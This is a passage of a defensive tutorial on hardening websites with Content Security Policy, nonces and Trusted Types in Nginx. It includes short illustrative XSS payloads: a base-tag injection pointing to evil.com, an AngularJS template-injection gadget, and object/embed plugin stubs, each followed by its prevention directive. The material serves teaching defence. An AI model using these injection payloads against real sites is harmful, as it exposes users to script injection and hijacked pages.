form-action 'self';
```

### 3. Base Tag Injection

**Base tag attack**

```html
<!-- Attacker injects this early in the document -->
<base href="https://evil.com/">

<!-- All your relative URLs now resolve to evil.com -->
<script src="/js/app.js"></script>  <!-- Loads https://evil.com/js/app.js -->
<img src="/images/logo.png">        <!-- Loads https://evil.com/images/logo.png -->
<a href="/login">Login</a>          <!-- Links to https://evil.com/login -->
```

**Prevention:**

```nginx
base-uri 'none';
```

### 4. Script Gadgets in Allowed Libraries

Some major libraries contain patterns that can be exploited for XSS when that library is allowed by CSP:

According to [research by Sebastian Lekies et al.](https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/), common libraries contain exploitable patterns:

**Script Gadgets in Popular Libraries**

| Library | Gadget Type | Attack Vector | Risk |
| --- | --- | --- | --- |
| **AngularJS** (1.x) | Template injection | `ng-app` + `{{constructor.constructor('alert(1)')()}}` | Critical [bad] |
| **jQuery** (<3.0) | Selector-based XSS | `$(location.hash)` with user input | High [caution] |
| **Require.js** | Dynamic imports | Attacker-controlled module paths | Medium [caution] |
| **Dojo Toolkit** | Module loading | `require()` with user input | Medium [caution] |
| **Google Closure** | Template system | Unsafe template rendering | Medium [caution] |

**Key point**

**The pattern is clear:** Allowlisting CDNs that host these libraries opens your site to gadget-based bypasses. Nonces + `strict-dynamic` prevent this because the attacker cannot guess the nonce value, regardless of what libraries are loaded.

### 5. Missing `object-src`

Without `object-src 'none'`, attackers can use plugins to execute code:

**Object-based XSS**

```html
<!-- Flash-based XSS (legacy but still seen) -->
<object data="data:application/x-shockwave-flash;base64,..." 
        type="application/x-shockwave-flash">
</object>

<!-- PDF with JavaScript -->
<embed src="malicious.pdf" type="application/pdf">
```

**Prevention:**

```nginx
object-src 'none';
```

---

## Trusted Types: The Next Evolution

While traditional CSP prevents injection of `<script>` tags, it doesn't protect against **DOM-based XSS** where JavaScript directly writes to dangerous sinks:

**DOM-based XSS vulnerability**

```javascript
// These are dangerous DOM sinks
element.innerHTML = userInput;           // XSS if userInput contains HTML
location.href = userInput;               // Open redirect/XSS
document.write(userInput);               // XSS
eval(userInput);                         // Remote code execution
```

**Trusted Types** forces developers to sanitize data before passing it to these sinks.

**Experimental — Trusted Types are experimental but maturing**

`Trusted Types` is experimental.

### How Trusted Types Work

**Trusted Types enforce sanitization at DOM sinks**

```mermaid
flowchart LR
    %% Without Trusted Types (top row)
    A1["User Input"] --> B1["innerHTML"]:::danger --> C1["XSS Executed"]:::danger
    
    %% With Trusted Types (bottom row)  
    A2["User Input"] --> D2["Sanitizer Policy"]:::cspTrusted --> E2["TrustedHTML"]:::cspTrusted --> B2["innerHTML"]:::success --> C2["Safe"]:::success
```

### Enabling Trusted Types

**File: `nginx.conf` (CSP with Trusted Types)**

```nginx
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'nonce-$cspNonce';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    
    # Trusted Types enforcement
    require-trusted-types-for 'script';
    trusted-types default;
" always;
```

### Creating a Trusted Types Policy

**Trusted Types sanitization policy**

```javascript
// Create a policy that sanitizes HTML
if (window.trustedTypes && trustedTypes.createPolicy) {
  const sanitizerPolicy = trustedTypes.createPolicy('default', {
    createHTML: (input) => {
      // Use DOMPurify or similar sanitizer
      return DOMPurify.sanitize(input);
    },
    createScriptURL: (input) => {
      // Only allow same-origin URLs
      const url = new URL(input, window.location.origin);
      if (url.origin !== window.location.origin) {
        throw new Error('Cross-origin scripts not allowed');
      }
      return url.href;
    }
  });
}

// Now innerHTML requires TrustedHTML
element.innerHTML = userInput;  // TypeError: requires TrustedHTML
element.innerHTML = sanitizerPolicy.createHTML(userInput);  // Works!
```

**Info**

**Adoption tip:** Start with `Content-Security-Policy-Report-Only` for Trusted Types to find violations without breaking your site:

```nginx
add_header Content-Security-Policy-Report-Only "require-trusted-types-for 'script'; report-uri /tt-reports";
```

---

## Advanced: Per-Endpoint CSP

Different parts of your site may need different policies:

- **Admin panels**: Stricter CSP
- **API endpoints**: No CSP needed (JSON isn't executed)
- **Static assets**: Relaxed for social media previews
- **User-generated content pages**: Extra restrictions  

### Implementation

**File: `/etc/nginx/sites-available/example.com`**

```nginx
server {
    listen 443 ssl;
    server_name example.com;
    
    # Default: strict CSP for HTML pages
    location / {
        try_files $uri $uri/ =404;
        include /etc/nginx/snippets/security-headers-strict.conf;
    }
    
    # API: no CSP needed for JSON
    location /api/ {
        proxy_pass http://backend;
        # No CSP header - JSON isn't executed by browsers
    }
    
    # Assets: relaxed for social media crawlers
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable";
        include /etc/nginx/snippets/security-headers-assets.conf;
    }
}
```

**Option 1/2 — Strict (HTML pages)**

```nginx
# /etc/nginx/snippets/security-headers-strict.conf
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
" always;

# Prevent embedding
add_header Cross-Origin-Resource-Policy "same-origin" always;
```

**Option 2/2 — Relaxed (Assets)**

```nginx
# /etc/nginx/snippets/security-headers-assets.conf
add_header Content-Security-Policy "
    default-src 'none';
    img-src 'self';
    font-src 'self';
" always;

# Allow social media to fetch images for previews
add_header Cross-Origin-Resource-Policy "cross-origin" always;
```

---

## Migration: Report-Only to Enforcement

**Never deploy strict CSP directly to production.** Use a phased approach:

**Safe CSP Migration Process**

1. **Deploy in report-only mode (1-2 weeks)**

   Use `Content-Security-Policy-Report-Only` to log violations without blocking anything. Monitor your logs to understand what would break.

2. **Analyze and fix violations**

   Review reports and remediate issues:

   - Inline event handlers → `addEventListener()`
   - `eval()` calls → `JSON.parse()` or refactor
   - Missing nonces on inline scripts
   - Third-party scripts that need `strict-dynamic`

3. **Enable enforcement gradually**

   Switch from `Report-Only` to `Content-Security-Policy`. Keep a report-only header for testing future stricter policies.

### Phase 1: Report-Only

**Report-only mode**

```nginx
# Logs violations but doesn't block anything
add_header Content-Security-Policy-Report-Only "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'nonce-$cspNonce';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
    report-uri /csp-report;
" always;
```

### Phase 2: Fix Common Issues

**Common Issues to Fix**

- **Warning** — **Inline event handlers** → Convert `onclick="..."` to `addEventListener()`
- **Warning** — **`eval()` usage** → Replace with `JSON.parse()` or refactor
- **Warning** — **Missing nonces** → Add `nonce="CSP_NONCE_NGINX"` to inline scripts
- **Warning** — **Third-party scripts** → Verify `'strict-dynamic'` covers them
- **Warning** — **Inline styles in JS** → Use CSS classes or CSS custom properties

### Phase 3: Enforce

**Enforcement mode**

```nginx
# Now blocking violations
add_header Content-Security-Policy "..." always;

# Optional: keep report-only for testing stricter future policies
add_header Content-Security-Policy-Report-Only "...even-stricter-policy..." always;
```

---

## Setting Up CSP Reporting

CSP's built-in reporting tells you when violations occur—essential for debugging and detecting attacks.

**Deprecated — report-uri is deprecated**

`report-uri` is deprecated.

Use instead: [`report-to`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-to)

**Info**

**For maximum compatibility, use both:** Chrome 70+ uses `report-to` and ignores `report-uri`. Firefox and Safari still rely on `report-uri`.

### Option 1: Simple Nginx Logging

**File: `/etc/nginx/sites-available/example.com`**

```nginx
# Reporting endpoint
location /csp-report {
    access_log /var/log/nginx/csp-report.log;
    return 204;
}
```

**CSP Header with reporting**

```nginx
# Modern Reporting API (Chrome 70+)
add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;

# CSP with both legacy and modern reporting
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
    report-uri /csp-report;
    report-to csp-endpoint;
" always;
```

### Option 2: Third-Party Services

Services like [Report URI](https://report-uri.com/) provide dashboards and analysis:

**Third-party reporting**

```nginx
report-uri https://your-subdomain.report-uri.com/r/d/csp/enforce;
report-to csp-endpoint;
```

### Violation Report Format

Browsers send JSON reports like this:

**File: `csp-violation-report.json`**

```json
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "blocked-uri": "https://evil.com/script.js",
    "violated-directive": "script-src-elem",
    "effective-directive": "script-src-elem",
    "original-policy": "script-src 'nonce-abc123' 'strict-dynamic'",
    "disposition": "enforce",
    "status-code": 200,
    "script-sample": "",
    "line-number": 42,
    "column-number": 15,
    "source-file": "https://example.com/page"
  }
}
```

---

## Refactoring Code for CSP

Some common patterns are incompatible with strict CSP. Here's how to fix them:

### Inline Event Handlers → addEventListener

**Comparison: Blocked by CSP vs CSP-Compatible**

**Blocked by CSP**

```html
<button onclick="submitForm()">Submit</button>
<a href="javascript:doSomething()">Click</a>
<form onsubmit="validate()">...</form>
```

**CSP-Compatible**

```html
<button id="submitBtn">Submit</button>
<a href="#" id="actionLink">Click</a>
<form id="myForm">...</form>

<script nonce="CSP_NONCE_NGINX">
  document.getElementById('submitBtn')
    .addEventListener('click', submitForm);
  
  document.getElementById('actionLink')
    .addEventListener('click', (e) => {
      e.preventDefault();
      doSomething();
    });
  
  document.getElementById('myForm')
    .addEventListener('submit', validate);
</script>
```

### eval() → JSON.parse()

**Comparison: Uses eval() - Blocked vs Uses JSON.parse() - Allowed**

**Uses eval() - Blocked**

```javascript
// Dangerous - blocked by CSP
const data = eval('(' + jsonString + ')');
setTimeout('doSomething()', 1000);
const fn = new Function('x', 'return x * 2');
```

**Uses JSON.parse() - Allowed**

```javascript
// Safe - works with strict CSP
const data = JSON.parse(jsonString);
setTimeout(doSomething, 1000);
const fn = (x) => x * 2;
```

### Inline Styles in JS → CSS Custom Properties

**Comparison: Using setAttribute (can be blocked) vs CSS Custom Properties**

**Using setAttribute (can be blocked)**

```javascript
// setAttribute('style', ...) can be blocked by style-src
element.setAttribute('style', 'color:' + color);
// Note: element.style.property = value is NOT blocked by CSP,
// but using CSS custom properties is more maintainable
```

**CSS Custom Properties**

```javascript
// Works with strict CSP and is more maintainable
element.style.setProperty('--user-color', userColor);
element.classList.add('highlighted');
```

```css
.highlighted {
  background: var(--user-color, #fff);
}
```

---

## Testing and Validation

### Browser DevTools

Your best friend for CSP debugging. Open F12 → Console to see violations in real-time:

**Output — CSP Violation in Chrome Console**

```text
Refused to execute inline script because it violates the following Content 
Security Policy directive: "script-src 'nonce-abc123' 'strict-dynamic'". 
Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce 
('nonce-...') is required to enable inline execution.
```

### Online Tools

**CSP Testing Tools**

| Tool | Purpose |
| --- | --- |
| [**Mozilla Observatory**](https://developer.mozilla.org/en-US/observatory) | Comprehensive security header grading (A+ possible) |
| [**Google CSP Evaluator**](https://csp-evaluator.withgoogle.com/) | Finds logical bypasses in your policy (highly recommended) |
| [**SecurityHeaders.com**](https://securityheaders.com/) | Quick header analysis and scoring |
| [**CSP Hash Generator**](https://report-uri.com/tools/csp-hash-generator) | Generate hashes for inline scripts |

---

## Common Pitfalls

### 1. Using `'unsafe-inline'` for Scripts

**Comparison: Defeats CSP protection vs Use nonces instead**

**Defeats CSP protection**

```nginx
# Your CSP is now useless for XSS protection
script-src 'self' 'unsafe-inline';
```

**Use nonces instead**

```nginx
# Actual protection
script-src 'self' 'nonce-$cspNonce';
```

### 2. Overly Permissive Sources

**DON'T: Trusting entire schemes**

```nginx
# DANGER: Trusts the entire internet!
script-src 'self' https:;
img-src *;
```

This allows any HTTPS script to execute, completely defeating CSP's purpose.

### 3. Forgetting Required Directives

**Comparison: Incomplete - Bypassable vs Complete Strict CSP**

**Incomplete - Bypassable**

```nginx
# Missing critical directives!
script-src 'nonce-$cspNonce';
```

**Complete Strict CSP**

```nginx
# All required directives present
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';
```

### 4. Missing `always` in Nginx

**Comparison: Only 2xx responses vs All responses including errors**

**Only 2xx responses**

```nginx
# CSP missing on 404, 500 pages!
add_header Content-Security-Policy "...";
```

**All responses including errors**

```nginx
# CSP on ALL responses
add_header Content-Security-Policy "..." always;
```

Without `always`, CSP headers won't be sent on error pages (404, 500), leaving those pages vulnerable.

### 5. `add_header` Inheritance Gotcha

**Headers get overwritten in nested locations**

```nginx
location / {
    add_header Content-Security-Policy "..." always;
    add_header X-Frame-Options "DENY" always;
}

location /assets/ {
    # WARNING: This REPLACES parent headers, not adds to them!
    add_header Cache-Control "public, immutable" always;
    # CSP and X-Frame-Options are now MISSING here!
}
```

**Solution:** Use `include` snippets to share headers across locations.

---

## Complete Production Example

**File: `/etc/nginx/sites-available/example.com`**

```nginx
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    http2 on;
    server_name example.com;
    
    root /var/www/example.com;
    index index.html;
    
    # ================================================
    # CSP Nonce Setup
    # ================================================
    set $cspNonce $request_id;
    sub_filter_once off;
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;
    
    # ================================================
    # Build CSP Header
    # ================================================
    set $csp "default-src 'none'; ";
    set $csp "${csp}script-src 'self' 'nonce-${cspNonce}' 'strict-dynamic'; ";
    set $csp "${csp}style-src 'self' 'nonce-${cspNonce}'; ";
    set $csp "${csp}img-src 'self' data:; ";
    set $csp "${csp}font-src 'self'; ";
    set $csp "${csp}connect-src 'self'; ";
    set $csp "${csp}worker-src 'self'; ";
    set $csp "${csp}object-src 'none'; ";
    set $csp "${csp}base-uri 'none'; ";
    set $csp "${csp}frame-ancestors 'none'; ";
    set $csp "${csp}form-action 'self'; ";
    set $csp "${csp}upgrade-insecure-requests; ";
    set $csp "${csp}report-uri /csp-report; ";
    set $csp "${csp}report-to csp-endpoint";
    
    # ================================================
    # Security Headers
    # ================================================
    add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;
    add_header Content-Security-Policy $csp always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
    add_header Cross-Origin-Opener-Policy "same-origin" always;
    # Note: require-corp is strict - external resources (fonts, CDNs) must provide
    # CORP/CORS headers. Use "credentialless" for broader compatibility.
    add_header Cross-Origin-Embedder-Policy "require-corp" always;
    add_header Cross-Origin-Resource-Policy "same-origin" always;
    
    # ================================================
    # Routes
    # ================================================
    location / {
        try_files $uri $uri/ =404;
    }
    
    # CSP Violation Reporting Endpoint
    location /csp-report {
        access_log /var/log/nginx/csp-report.log;
        return 204;
    }
    
    # Static assets with relaxed CORP for social media
    # Note: add_header in location blocks overrides parent-level headers,
    # so we must re-include essential security headers here
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable" always;
        add_header Cross-Origin-Resource-Policy "cross-origin" always;
        # Re-include essential security headers
        add_header X-Content-Type-Options "nosniff" always;
        add_header Referrer-Policy "strict-origin-when-cross-origin" always;
        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    }
}
```

---

## Your CSP Journey: Summary

**CSP Implementation Roadmap**

1. **Start simple** — Deploy `default-src 'self'` in report-only mode

2. **Add directives progressively** — Scripts, styles, images, etc.

3. **Handle inline scripts** — Move to files, use hashes, or implement nonces

4. **For static sites** — Use Nginx `sub_filter` for nonce injection

5. **Go strict** — Add `'strict-dynamic'`, `object-src 'none'`, `base-uri 'none'`

6. **Set up reporting** — Monitor violations with `report-uri` / `report-to`

7. **Enforce gradually** — Switch from report-only to enforcement after testing

8. **Maintain and iterate** — Keep monitoring, update as your app evolves

**Success**

**Result:** This is exactly the configuration running in production on this site — an A+ rating with a score of 140 and all 10 tests passing on [Mozilla Observatory](https://developer.mozilla.org/en-US/observatory), full site functionality intact, and users protected from XSS attacks.

